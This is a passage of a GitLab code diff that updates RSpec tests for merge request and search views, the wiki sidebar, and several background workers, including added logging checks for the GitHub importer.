--- a/spec/views/projects/merge_requests/show.html.haml_spec.rb
+++ b/spec/views/projects/merge_requests/show.html.haml_spec.rb
@@ -3,30 +3,45 @@
require 'spec_helper'
RSpec.describe 'projects/merge_requests/show.html.haml' do
+ include Spec::Support::Helpers::Features::MergeRequestHelpers
+
before do
allow(view).to receive(:experiment_enabled?).and_return(false)
end
- include_context 'merge request show action'
-
- describe 'merge request assignee sidebar' do
- context 'when assignee is allowed to merge' do
- it 'does not show a warning icon' do
- closed_merge_request.update!(assignee_id: user.id)
- project.add_maintainer(user)
- assign(:issuable_sidebar, serialize_issuable_sidebar(user, project, closed_merge_request))
+ context 'when the merge request is open' do
+ include_context 'open merge request show action'
- render
+ it 'shows the "Mark as draft" button' do
+ render
- expect(rendered).not_to have_css('.merge-icon')
- end
+ expect(rendered).to have_css('a', visible: true, text: 'Mark as draft')
+ expect(rendered).to have_css('a', visible: false, text: 'Reopen')
+ expect(rendered).to have_css('a', visible: true, text: 'Close')
end
end
context 'when the merge request is closed' do
+ include_context 'closed merge request show action'
+
+ describe 'merge request assignee sidebar' do
+ context 'when assignee is allowed to merge' do
+ it 'does not show a warning icon' do
+ closed_merge_request.update!(assignee_id: user.id)
+ project.add_maintainer(user)
+ assign(:issuable_sidebar, serialize_issuable_sidebar(user, project, closed_merge_request))
+
+ render
+
+ expect(rendered).not_to have_css('.merge-icon')
+ end
+ end
+ end
+
it 'shows the "Reopen" button' do
render
+ expect(rendered).not_to have_css('a', visible: true, text: 'Mark as draft')
expect(rendered).to have_css('a', visible: true, text: 'Reopen')
expect(rendered).to have_css('a', visible: false, text: 'Close')
end
@@ -34,7 +49,7 @@ RSpec.describe 'projects/merge_requests/show.html.haml' do
it 'does not show the "Reopen" button when the source project does not exist' do
unlink_project.execute
closed_merge_request.reload
- preload_view_requirements
+ preload_view_requirements(closed_merge_request, note)
render
diff --git a/spec/views/search/_filter.html.haml_spec.rb b/spec/views/search/_filter.html.haml_spec.rb
index 9a5ff2e4518..868408f7beb 100644
--- a/spec/views/search/_filter.html.haml_spec.rb
+++ b/spec/views/search/_filter.html.haml_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe 'search/_filter' do
expect(rendered).to have_selector('input#js-search-group-dropdown')
expect(rendered).to have_selector('label[for="dashboard_search_project"]')
- expect(rendered).to have_selector('button#dashboard_search_project')
+ expect(rendered).to have_selector('input#js-search-project-dropdown')
end
end
end
diff --git a/spec/views/search/_results.html.haml_spec.rb b/spec/views/search/_results.html.haml_spec.rb
index 6299fd0cf36..8960d096143 100644
--- a/spec/views/search/_results.html.haml_spec.rb
+++ b/spec/views/search/_results.html.haml_spec.rb
@@ -3,17 +3,23 @@
require 'spec_helper'
RSpec.describe 'search/_results' do
+ let(:user) { create(:user) }
let(:search_objects) { Issue.page(1).per(2) }
let(:scope) { 'issues' }
+ let(:term) { 'foo' }
before do
controller.params[:action] = 'show'
+ controller.params[:search] = term
create_list(:issue, 3)
@search_objects = search_objects
@scope = scope
- @search_term = 'foo'
+ @search_term = term
+ @search_service = SearchServicePresenter.new(SearchService.new(user, search: term, scope: scope))
+
+ allow(@search_service).to receive(:search_objects).and_return(search_objects)
end
it 'displays the page size' do
@@ -48,11 +54,22 @@ RSpec.describe 'search/_results' do
let(:scope) { search_scope }
let(:search_objects) { Gitlab::ProjectSearchResults.new(user, '*', project: project).objects(scope) }
- it 'renders the click text event tracking attributes' do
- render
+ context 'when admin mode is enabled', :enable_admin_mode do
+ it 'renders the click text event tracking attributes' do
+ render
+
+ expect(rendered).to have_selector('[data-track-event=click_text]')
+ expect(rendered).to have_selector('[data-track-property=search_result]')
+ end
+ end
+
+ context 'when admin mode is disabled' do
+ it 'does not render the click text event tracking attributes' do
+ render
- expect(rendered).to have_selector('[data-track-event=click_text]')
- expect(rendered).to have_selector('[data-track-property=search_result]')
+ expect(rendered).not_to have_selector('[data-track-event=click_text]')
+ expect(rendered).not_to have_selector('[data-track-property=search_result]')
+ end
end
it 'does render the sidebar' do
@@ -68,11 +85,22 @@ RSpec.describe 'search/_results' do
let(:scope) { search_scope }
let(:search_objects) { Gitlab::ProjectSearchResults.new(user, '*', project: project).objects(scope) }
- it 'renders the click text event tracking attributes' do
- render
+ context 'when admin mode is enabled', :enable_admin_mode do
+ it 'renders the click text event tracking attributes' do
+ render
+
+ expect(rendered).to have_selector('[data-track-event=click_text]')
+ expect(rendered).to have_selector('[data-track-property=search_result]')
+ end
+ end
+
+ context 'when admin mode is disabled' do
+ it 'does not render the click text event tracking attributes' do
+ render
- expect(rendered).to have_selector('[data-track-event=click_text]')
- expect(rendered).to have_selector('[data-track-property=search_result]')
+ expect(rendered).not_to have_selector('[data-track-event=click_text]')
+ expect(rendered).not_to have_selector('[data-track-property=search_result]')
+ end
end
it 'does not render the sidebar' do
diff --git a/spec/views/shared/wikis/_sidebar.html.haml_spec.rb b/spec/views/shared/wikis/_sidebar.html.haml_spec.rb
new file mode 100644
index 00000000000..3e691862937
--- /dev/null
+++ b/spec/views/shared/wikis/_sidebar.html.haml_spec.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe 'shared/wikis/_sidebar.html.haml' do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:wiki) { Wiki.for_container(project, project.default_owner) }
+
+ before do
+ assign(:wiki, wiki)
+ assign(:project, project)
+ end
+
+ it 'includes a link to clone the repository' do
+ render
+
+ expect(rendered).to have_link('Clone repository')
+ end
+
+ context 'the sidebar failed to load' do
+ before do
+ assign(:sidebar_error, Object.new)
+ end
+
+ it 'reports this to the user' do
+ render
+
+ expect(rendered).to include('The sidebar failed to load')
+ expect(rendered).to have_css('.gl-alert.gl-alert-info')
+ end
+ end
+
+ context 'The sidebar comes from a custom page' do
+ before do
+ assign(:sidebar_page, double('WikiPage', path: 'sidebar.md', slug: 'sidebar', content: 'Some sidebar content'))
+ end
+
+ it 'does not show an alert' do
+ render
+
+ expect(rendered).not_to include('The sidebar failed to load')
+ expect(rendered).not_to have_css('.gl-alert.gl-alert-info')
+ end
+
+ it 'renders the wiki content' do
+ render
+
+ expect(rendered).to include('Some sidebar content')
+ end
+ end
+
+ context 'The sidebar comes a list of wiki pages' do
+ before do
+ assign(:sidebar_wiki_entries, create_list(:wiki_page, 3, wiki: wiki))
+ assign(:sidebar_limited, true)
+ stub_template "../shared/wikis/_wiki_pages.html.erb" => "Entries: <%= @sidebar_wiki_entries.size %>"
+ stub_template "../shared/wikis/_wiki_page.html.erb" => 'A WIKI PAGE'
+ end
+
+ it 'does not show an alert' do
+ render
+
+ expect(rendered).not_to include('The sidebar failed to load')
+ expect(rendered).not_to have_css('.gl-alert.gl-alert-info')
+ end
+
+ it 'renders the wiki content' do
+ render
+
+ expect(rendered).to include('A WIKI PAGE' * 3)
+ expect(rendered).to have_link('View All Pages')
+ end
+
+ context 'there is no more to see' do
+ it 'does not invite the user to view more' do
+ assign(:sidebar_limited, false)
+
+ render
+
+ expect(rendered).not_to have_link('View All Pages')
+ end
+ end
+ end
+end
diff --git a/spec/workers/approve_blocked_pending_approval_users_worker_spec.rb b/spec/workers/approve_blocked_pending_approval_users_worker_spec.rb
new file mode 100644
index 00000000000..bd603bd870d
--- /dev/null
+++ b/spec/workers/approve_blocked_pending_approval_users_worker_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ApproveBlockedPendingApprovalUsersWorker, type: :worker do
+ let_it_be(:admin) { create(:admin) }
+ let_it_be(:active_user) { create(:user) }
+ let_it_be(:blocked_user) { create(:user, state: 'blocked_pending_approval') }
+
+ describe '#perform' do
+ subject do
+ described_class.new.perform(admin.id)
+ end
+
+ it 'calls ApproveService for users in blocked_pending_approval state' do
+ expect_next_instance_of(Users::ApproveService, admin) do |service|
+ expect(service).to receive(:execute).with(blocked_user)
+ end
+
+ subject
+ end
+
+ it 'does not call ApproveService for active users' do
+ expect_next_instance_of(Users::ApproveService, admin) do |service|
+ expect(service).not_to receive(:execute).with(active_user)
+ end
+
+ subject
+ end
+ end
+end
diff --git a/spec/workers/build_finished_worker_spec.rb b/spec/workers/build_finished_worker_spec.rb
index b0058c76e27..02e15b7bc22 100644
--- a/spec/workers/build_finished_worker_spec.rb
+++ b/spec/workers/build_finished_worker_spec.rb
@@ -26,9 +26,6 @@ RSpec.describe BuildFinishedWorker do
expect_next_instance_of(Ci::BuildReportResultWorker) do |instance|
expect(instance).to receive(:perform)
end
- expect_next_instance_of(Ci::TestCasesService) do |instance|
- expect(instance).to receive(:execute)
- end
expect(BuildHooksWorker).to receive(:perform_async)
expect(ExpirePipelineCacheWorker).to receive(:perform_async)
diff --git a/spec/workers/ci/test_failure_history_worker_spec.rb b/spec/workers/ci/test_failure_history_worker_spec.rb
new file mode 100644
index 00000000000..d2896c08209
--- /dev/null
+++ b/spec/workers/ci/test_failure_history_worker_spec.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::Ci::TestFailureHistoryWorker do
+ describe '#perform' do
+ subject(:perform) { described_class.new.perform(pipeline_id) }
+
+ context 'when pipeline exists' do
+ let(:pipeline) { create(:ci_pipeline) }
+ let(:pipeline_id) { pipeline.id }
+
+ it 'executes test failure history service' do
+ expect_next_instance_of(::Ci::TestFailureHistoryService) do |service|
+ expect(service).to receive(:execute)
+ end
+
+ perform
+ end
+ end
+
+ context 'when pipeline does not exist' do
+ let(:pipeline_id) { non_existing_record_id }
+
+ it 'does not execute test failure history service' do
+ expect(Ci::TestFailureHistoryService).not_to receive(:new)
+
+ perform
+ end
+ end
+ end
+
+ include_examples 'an idempotent worker' do
+ let(:pipeline) { create(:ci_pipeline) }
+ let(:job_args) { [pipeline.id] }
+
+ it 'tracks test failures' do
+ # The test report has 2 test case failures
+ create(:ci_build, :failed, :test_reports, pipeline: pipeline, project: pipeline.project)
+
+ subject
+
+ expect(Ci::TestCase.count).to eq(2)
+ expect(Ci::TestCaseFailure.count).to eq(2)
+ end
+ end
+end
diff --git a/spec/workers/clusters/applications/check_prometheus_health_worker_spec.rb b/spec/workers/clusters/applications/check_prometheus_health_worker_spec.rb
index 5a37031a55a..fb779bf3b01 100644
--- a/spec/workers/clusters/applications/check_prometheus_health_worker_spec.rb
+++ b/spec/workers/clusters/applications/check_prometheus_health_worker_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe Clusters::Applications::CheckPrometheusHealthWorker, '#perform' d
it 'triggers health service' do
cluster = create(:cluster)
allow(Gitlab::Monitor::DemoProjects).to receive(:primary_keys)
- allow(Clusters::Cluster).to receive_message_chain(:with_application_prometheus, :with_project_alert_service_data).and_return([cluster])
+ allow(Clusters::Cluster).to receive_message_chain(:with_application_prometheus, :with_project_http_integrations).and_return([cluster])
service_instance = instance_double(Clusters::Applications::PrometheusHealthCheckService)
expect(Clusters::Applications::PrometheusHealthCheckService).to receive(:new).with(cluster).and_return(service_instance)
diff --git a/spec/workers/concerns/gitlab/github_import/object_importer_spec.rb b/spec/workers/concerns/gitlab/github_import/object_importer_spec.rb
index d0cbc6b35e2..75f2c7922de 100644
--- a/spec/workers/concerns/gitlab/github_import/object_importer_spec.rb
+++ b/spec/workers/concerns/gitlab/github_import/object_importer_spec.rb
@@ -22,20 +22,21 @@ RSpec.describe Gitlab::GithubImport::ObjectImporter do
end
describe '#import' do
- it 'imports the object' do
- representation_class = double(:representation_class)
- importer_class = double(:importer_class)
- importer_instance = double(:importer_instance)
- representation = double(:representation)
- project = double(:project, full_path: 'foo/bar')
- client = double(:client)
-
+ let(:representation_class) { double(:representation_class) }
+ let(:importer_class) { double(:importer_class, name: 'klass_name') }
+ let(:importer_instance) { double(:importer_instance) }
+ let(:representation) { double(:representation) }
+ let(:project) { double(:project, full_path: 'foo/bar', id: 1) }
+ let(:client) { double(:client) }
+
+ before do
expect(worker)
.to receive(:representation_class)
.and_return(representation_class)
expect(worker)
.to receive(:importer_class)
+ .at_least(:once)
.and_return(importer_class)
expect(representation_class)
@@ -47,7 +48,9 @@ RSpec.describe Gitlab::GithubImport::ObjectImporter do
.to receive(:new)
.with(representation, project, client)
.and_return(importer_instance)
+ end
+ it 'imports the object' do
expect(importer_instance)
.to receive(:execute)
@@ -55,8 +58,61 @@ RSpec.describe Gitlab::GithubImport::ObjectImporter do
.to receive(:increment)
.and_call_original
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:info)
+ .with(
+ message: 'starting importer',
+ import_source: :github,
+ project_id: 1,
+ importer: 'klass_name'
+ )
+ expect(logger)
+ .to receive(:info)
+ .with(
+ message: 'importer finished',
+ import_source: :github,
+ project_id: 1,
+ importer: 'klass_name'
+ )
+ end
+
worker.import(project, client, { 'number' => 10 })
end
+
+ it 'logs error when the import fails' do
+ exception = StandardError.new('some error')
+ expect(importer_instance)
+ .to receive(:execute)
+ .and_raise(exception)
+
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:info)
+ .with(
+ message: 'starting importer',
+ import_source: :github,
+ project_id: project.id,
+ importer: 'klass_name'
+ )
+ expect(logger)
+ .to receive(:error)
+ .with(
+ message: 'importer failed',
+ import_source: :github,
+ project_id: project.id,
+ importer: 'klass_name',
+ 'error.message': 'some error'
+ )
+ end
+
+ expect(Gitlab::ErrorTracking)
+ .to receive(:track_and_raise_exception)
+ .with(exception, import_source: :github, project_id: 1, importer: 'klass_name')
+ .and_call_original
+
+ expect { worker.import(project, client, { 'number' => 10 }) }.to raise_error(exception)
+ end
end
describe '#counter' do
diff --git a/spec/workers/concerns/gitlab/github_import/stage_methods_spec.rb b/spec/workers/concerns/gitlab/github_import/stage_methods_spec.rb
index 03e875bcb87..651ea77a71c 100644
--- a/spec/workers/concerns/gitlab/github_import/stage_methods_spec.rb
+++ b/spec/workers/concerns/gitlab/github_import/stage_methods_spec.rb
@@ -5,7 +5,13 @@ require 'spec_helper'
RSpec.describe Gitlab::GithubImport::StageMethods do
let(:project) { create(:project) }
let(:worker) do
- Class.new { include(Gitlab::GithubImport::StageMethods) }.new
+ Class.new do
+ def self.name
+ 'DummyStage'
+ end
+
+ include(Gitlab::GithubImport::StageMethods)
+ end.new
end
describe '#perform' do
@@ -30,8 +36,72 @@ RSpec.describe Gitlab::GithubImport::StageMethods do
an_instance_of(Project)
)
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:info)
+ .with(
+ message: 'starting stage',
+ import_source: :github,
+ project_id: project.id,
+ import_stage: 'DummyStage'
+ )
+ expect(logger)
+ .to receive(:info)
+ .with(
+ message: 'stage finished',
+ import_source: :github,
+ project_id: project.id,
+ import_stage: 'DummyStage'
+ )
+ end
+
worker.perform(project.id)
end
+
+ it 'logs error when import fails' do
+ exception = StandardError.new('some error')
+
+ allow(worker)
+ .to receive(:find_project)
+ .with(project.id)
+ .and_return(project)
+
+ expect(worker)
+ .to receive(:try_import)
+ .and_raise(exception)
+
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:info)
+ .with(
+ message: 'starting stage',
+ import_source: :github,
+ project_id: project.id,
+ import_stage: 'DummyStage'
+ )
+ expect(logger)
+ .to receive(:error)
+ .with(
+ message: 'stage failed',
+ import_source: :github,
+ project_id: project.id,
+ import_stage: 'DummyStage',
+ 'error.message': 'some error'
+ )
+ end
+
+ expect(Gitlab::ErrorTracking)
+ .to receive(:track_and_raise_exception)
+ .with(
+ exception,
+ import_source: :github,
+ project_id: project.id,
+ import_stage: 'DummyStage'
+ )
+ .and_call_original
+
+ expect { worker.perform(project.id) }.to raise_error(exception)
+ end
end
describe '#try_import' do
diff --git a/spec/workers/concerns/reenqueuer_spec.rb b/spec/workers/concerns/reenqueuer_spec.rb
index ab44042834f..56db2239bb1 100644
--- a/spec/workers/concerns/reenqueuer_spec.rb
+++ b/spec/workers/concerns/reenqueuer_spec.rb
@@ -79,6 +79,10 @@ RSpec.describe Reenqueuer do
job.perform
end
+
+ it 'returns the original value from #perform' do
+ expect(job.perform).to eq(true)
+ end
end
context 'when #perform returns falsey' do
@@ -87,6 +91,10 @@ RSpec.describe Reenqueuer do
job.perform
end
+
+ it 'returns the original value from #perform' do
+ expect(job.perform).to eq(false)
+ end
end
end
end
diff --git a/spec/workers/create_evidence_worker_spec.rb b/spec/workers/create_evidence_worker_spec.rb
deleted file mode 100644
index c700c086163..00000000000
--- a/spec/workers/create_evidence_worker_spec.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe CreateEvidenceWorker do
- let(:project) { create(:project, :repository) }
- let(:release) { create(:release, project: project) }
- let(:pipeline) { create(:ci_empty_pipeline, sha: release.sha, project: project) }
-
- # support old scheduled workers without pipeline
- it 'creates a new Evidence record' do
- expect_next_instance_of(::Releases::CreateEvidenceService, release, pipeline: nil) do |service|
- expect(service).to receive(:execute).and_call_original
- end
-
- expect { described_class.new.perform(release.id) }.to change(Releases::Evidence, :count).by(1)
- end
-
- it 'creates a new Evidence record with pipeline' do
- expect_next_instance_of(::Releases::CreateEvidenceService, release, pipeline: pipeline) do |service|
- expect(service).to receive(:execute).and_call_original
- end
-
- expect { described_class.new.perform(release.id, pipeline.id) }.to change(Releases::Evidence, :count).by(1)
- end
-end
diff --git a/spec/workers/environments/canary_ingress/update_worker_spec.rb b/spec/workers/environments/canary_ingress/update_worker_spec.rb
new file mode 100644
index 00000000000..7bc5108719c
--- /dev/null
+++ b/spec/workers/environments/canary_ingress/update_worker_spec.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Environments::CanaryIngress::UpdateWorker do
+ let_it_be(:environment) { create(:environment) }
+ let(:worker) { described_class.new }
+
+ describe '#perform' do
+ subject { worker.perform(environment_id, params) }
+
+ let(:environment_id) { environment.id }
+ let(:params) { { 'weight' => 50 } }
+
+ it 'executes the update service' do
+ expect_next_instance_of(Environments::CanaryIngress::UpdateService, environment.project, nil, params) do |service|
+ expect(service).to receive(:execute).with(environment)
+ end
+
+ subject
+ end
+
+ context 'when an environment does not exist' do
+ let(:environment_id) { non_existing_record_id }
+
+ it 'does not execute the update service' do
+ expect(Environments::CanaryIngress::UpdateService).not_to receive(:new)
+
+ subject
+ end
+ end
+ end
+end
diff --git a/spec/workers/gitlab/github_import/import_diff_note_worker_spec.rb b/spec/workers/gitlab/github_import/import_diff_note_worker_spec.rb
index 211eba993f7..4039cdac721 100644
--- a/spec/workers/gitlab/github_import/import_diff_note_worker_spec.rb
+++ b/spec/workers/gitlab/github_import/import_diff_note_worker_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe Gitlab::GithubImport::ImportDiffNoteWorker do
describe '#import' do
it 'imports a diff note' do
- project = double(:project, full_path: 'foo/bar')
+ project = double(:project, full_path: 'foo/bar', id: 1)
client = double(:client)
importer = double(:importer)
hash = {
diff --git a/spec/workers/gitlab/github_import/import_issue_worker_spec.rb b/spec/workers/gitlab/github_import/import_issue_worker_spec.rb
index 1d285790ee2..c25e89f6928 100644
--- a/spec/workers/gitlab/github_import/import_issue_worker_spec.rb
+++ b/spec/workers/gitlab/github_import/import_issue_worker_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe Gitlab::GithubImport::ImportIssueWorker do
describe '#import' do
it 'imports an issue' do
- project = double(:project, full_path: 'foo/bar')
+ project = double(:project, full_path: 'foo/bar', id: 1)
client = double(:client)
importer = double(:importer)
hash = {
diff --git a/spec/workers/gitlab/github_import/import_note_worker_spec.rb b/spec/workers/gitlab/github_import/import_note_worker_spec.rb
index 618aca4ff0a..bfb40d7c3d3 100644
--- a/spec/workers/gitlab/github_import/import_note_worker_spec.rb
+++ b/spec/workers/gitlab/github_import/import_note_worker_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe Gitlab::GithubImport::ImportNoteWorker do
describe '#import' do
it 'imports a note' do
- project = double(:project, full_path: 'foo/bar')
+ project = double(:project, full_path: 'foo/bar', id: 1)
client = double(:client)
importer = double(:importer)
hash = {
diff --git a/spec/workers/gitlab/github_import/import_pull_request_merged_by_worker_spec.rb b/spec/workers/gitlab/github_import/import_pull_request_merged_by_worker_spec.rb
new file mode 100644
index 00000000000..c799c676300
--- /dev/null
+++ b/spec/workers/gitlab/github_import/import_pull_request_merged_by_worker_spec.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::GithubImport::ImportPullRequestMergedByWorker do
+ it { is_expected.to include_module(Gitlab::GithubImport::ObjectImporter) }
+
+ describe '#representation_class' do
+ it { expect(subject.representation_class).to eq(Gitlab::GithubImport::Representation::PullRequest) }
+ end
+
+ describe '#importer_class' do
+ it { expect(subject.importer_class).to eq(Gitlab::GithubImport::Importer::PullRequestMergedByImporter) }
+ end
+
+ describe '#counter_name' do
+ it { expect(subject.counter_name).to eq(:github_importer_imported_pull_requests_merged_by) }
+ end
+
+ describe '#counter_description' do
+ it { expect(subject.counter_description).to eq('The number of imported GitHub pull requests merged by') }
+ end
+end
diff --git a/spec/workers/gitlab/github_import/import_pull_request_review_worker_spec.rb b/spec/workers/gitlab/github_import/import_pull_request_review_worker_spec.rb
new file mode 100644
index 00000000000..cd14d6631d5
--- /dev/null
+++ b/spec/workers/gitlab/github_import/import_pull_request_review_worker_spec.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::GithubImport::ImportPullRequestReviewWorker do
+ it { is_expected.to include_module(Gitlab::GithubImport::ObjectImporter) }
+
+ describe '#representation_class' do
+ it { expect(subject.representation_class).to eq(Gitlab::GithubImport::Representation::PullRequestReview) }
+ end
+
+ describe '#importer_class' do
+ it { expect(subject.importer_class).to eq(Gitlab::GithubImport::Importer::PullRequestReviewImporter) }
+ end
+
+ describe '#counter_name' do
+ it { expect(subject.counter_name).to eq(:github_importer_imported_pull_request_reviews) }
+ end
+
+ describe '#counter_description' do
+ it { expect(subject.counter_description).to eq('The number of imported GitHub pull request reviews') }
+ end
+end
diff --git a/spec/workers/gitlab/github_import/import_pull_request_worker_spec.rb b/spec/workers/gitlab/github_import/import_pull_request_worker_spec.rb
index 0f5df302d56..12b21abf910 100644
--- a/spec/workers/gitlab/github_import/import_pull_request_worker_spec.rb
+++ b/spec/workers/gitlab/github_import/import_pull_request_worker_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe Gitlab::GithubImport::ImportPullRequestWorker do
describe '#import' do
it 'imports a pull request' do
- project = double(:project, full_path: 'foo/bar')
+ project = double(:project, full_path: 'foo/bar', id: 1)
client = double(:client)
importer = double(:importer)
hash = {
diff --git a/spec/workers/gitlab/github_import/stage/finish_import_worker_spec.rb b/spec/workers/gitlab/github_import/stage/finish_import_worker_spec.rb
index c821e0aaa09..2615da2be15 100644
--- a/spec/workers/gitlab/github_import/stage/finish_import_worker_spec.rb
+++ b/spec/workers/gitlab/github_import/stage/finish_import_worker_spec.rb
@@ -26,7 +26,17 @@ RSpec.describe Gitlab::GithubImport::Stage::FinishImportWorker do
.to receive(:increment)
.and_call_original
- expect(worker.logger).to receive(:info).with(an_instance_of(String))
+ expect_next_instance_of(Gitlab::Import::Logger) do |logger|
+ expect(logger)
+ .to receive(:info)
+ .with(
+ message: 'GitHub project import finished',
+ import_stage: 'Gitlab::GithubImport::Stage::FinishImportWorker',
+ import_source: :github,
+ project_id: project.id,
+ duration_s: a_kind_of(Numeric)
+ )
+ end
worker.report_import_time(project)
end
diff --git a/spec/workers/gitlab/github_import/stage/import_pull_requests_merged_by_worker_spec.rb b/spec/workers/gitlab/github_import/stage/import_pull_requests_merged_by_worker_spec.rb
new file mode 100644
index 00000000000..6fcb5db2a54
--- /dev/null
+++ b/spec/workers/gitlab/github_import/stage/import_pull_requests_merged_by_worker_spec.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::GithubImport::Stage::ImportPullRequestsMergedByWorker do
+ let(:project) { create(:project) }
+ let(:import_state) { create(:import_state, project: project) }
+ let(:worker) { described_class.new }
+
+ describe '#import' do
+ it 'imports all the pull requests' do
+ importer = double(:importer)
+ client = double(:client)
+ waiter = Gitlab::JobWaiter.new(2, '123')
+
+ expect(Gitlab::GithubImport::Importer::PullRequestsMergedByImporter)
+ .to receive(:new)
+ .with(project, client)
+ .and_return(importer)
+
+ expect(importer)
+ .to receive(:execute)
+ .and_return(waiter)
+
+ expect(import_state)
+ .to receive(:refresh_jid_expiration)
+
+ expect(Gitlab::GithubImport::AdvanceStageWorker)
+ .to receive(:perform_async)
+ .with(project.id, { '123' => 2 }, :pull_request_reviews)
+
+ worker.import(client, project)
+ end
+ end
+end
diff --git a/spec/workers/gitlab/github_import/stage/import_pull_requests_reviews_worker_spec.rb b/spec/workers/gitlab/github_import/stage/import_pull_requests_reviews_worker_spec.rb
new file mode 100644
index 00000000000..7acf1a338d3
--- /dev/null
+++ b/spec/workers/gitlab/github_import/stage/import_pull_requests_reviews_worker_spec.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::GithubImport::Stage::ImportPullRequestsReviewsWorker do
+ let(:project) { create(:project) }
+ let(:import_state) { create(:import_state, project: project) }
+ let(:worker) { described_class.new }
+ let(:client) { double(:client) }
+
+ describe '#import' do
+ it 'does not import with the feature disabled' do
+ stub_feature_flags(github_import_pull_request_reviews: false)
+
+ expect(Gitlab::JobWaiter)
+ .to receive(:new)
+ .and_return(double(key: '123', jobs_remaining: 0))
+
+ expect(Gitlab::GithubImport::AdvanceStageWorker)
+ .to receive(:perform_async)
+ .with(project.id, { '123' => 0 }, :issues_and_diff_notes)
+
+ worker.import(client, project)
+ end
+
+ it 'imports all the pull request reviews' do
+ stub_feature_flags(github_import_pull_request_reviews: true)
+
+ importer = double(:importer)
+
+ waiter = Gitlab::JobWaiter.new(2, '123')
+
+ expect(Gitlab::GithubImport::Importer::PullRequestsReviewsImporter)
+ .to receive(:new)
+ .with(project, client)
+ .and_return(importer)
+
+ expect(importer)
+ .to receive(:execute)
+ .and_return(waiter)
+
+ expect(import_state)
+ .to receive(:refresh_jid_expiration)
+
+ expect(Gitlab::GithubImport::AdvanceStageWorker)
+ .to receive(:perform_async)
+ .with(project.id, { '123' => 2 }, :issues_and_diff_notes)
+
+ worker.import(client, project)
+ end
+ end
+end
diff --git a/spec/workers/gitlab/github_import/stage/import_pull_requests_worker_spec.rb b/spec/workers/gitlab/github_import/stage/import_pull_requests_worker_spec.rb
index 0acbca7032c..29578f9bf37 100644
--- a/spec/workers/gitlab/github_import/stage/import_pull_requests_worker_spec.rb
+++ b/spec/workers/gitlab/github_import/stage/import_pull_requests_worker_spec.rb
@@ -27,7 +27,7 @@ RSpec.describe Gitlab::GithubImport::Stage::ImportPullRequestsWorker do
expect(Gitlab::GithubImport::AdvanceStageWorker)
.to receive(:perform_async)
- .with(project.id, { '123' => 2 }, :issues_and_diff_notes)
+ .with(project.id, { '123' => 2 }, :pull_requests_merged_by)
worker.import(client, project)
end
diff --git a/spec/workers/gitlab_performance_bar_stats_worker_spec.rb b/spec/workers/gitlab_performance_bar_stats_worker_spec.rb
new file mode 100644
index 00000000000..367003dd1ad
--- /dev/null
+++ b/spec/workers/gitlab_performance_bar_stats_worker_spec.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabPerformanceBarStatsWorker do
+ include ExclusiveLeaseHelpers
+
+ subject(:worker) { described_class.new }
+
+ describe '#perform' do
+ let(:redis) { double(Gitlab::Redis::SharedState) }
+ let(:uuid) { 1 }
+
+ before do
+ expect(Gitlab::Redis::SharedState).to receive(:with).and_yield(redis)
+ expect_to_cancel_exclusive_lease(GitlabPerformanceBarStatsWorker::LEASE_KEY, uuid)
+ end
+
+ it 'fetches list of request ids and processes them' do
+ expect(redis).to receive(:smembers).with(GitlabPerformanceBarStatsWorker::STATS_KEY).and_return([1, 2])
+ expect(redis).to receive(:del).with(GitlabPerformanceBarStatsWorker::STATS_KEY)
+ expect_next_instance_of(Gitlab::PerformanceBar::Stats) do |stats|
+ expect(stats).to receive(:process).with(1)
+ expect(stats).to receive(:process).with(2)
+ end
+
+ worker.perform(uuid)
+ end
+ end
+end
diff --git a/spec/workers/gitlab_usage_ping_worker_spec.rb b/spec/workers/gitlab_usage_ping_worker_spec.rb
index a180d29fd5f..f282b20363c 100644
--- a/spec/workers/gitlab_usage_ping_worker_spec.rb
+++ b/spec/workers/gitlab_usage_ping_worker_spec.rb
@@ -8,6 +8,13 @@ RSpec.describe GitlabUsagePingWorker, :clean_gitlab_redis_shared_state do
allow(subject).to receive(:sleep)
end
+ it 'does not run for GitLab.com' do
+ allow(Gitlab).to receive(:com?).and_return(true)
+ expect(SubmitUsagePingService).not_to receive(:new)
+
+ subject.perform
+ end
+
it 'delegates to SubmitUsagePingService' do
expect_next_instance_of(SubmitUsagePingService) { |service| expect(service).to receive(:execute) }
diff --git a/spec/workers/import_issues_csv_worker_spec.rb b/spec/workers/import_issues_csv_worker_spec.rb
index c5420b00e8a..6a698af49c0 100644
--- a/spec/workers/import_issues_csv_worker_spec.rb
+++ b/spec/workers/import_issues_csv_worker_spec.rb
@@ -3,9 +3,9 @@
require 'spec_helper'
RSpec.describe ImportIssuesCsvWorker do
- let(:project) { create(:project) }
- let(:user) { create(:user) }
- let(:upload) { create(:upload) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user) }
+ let(:upload) { create(:upload, :with_file) }
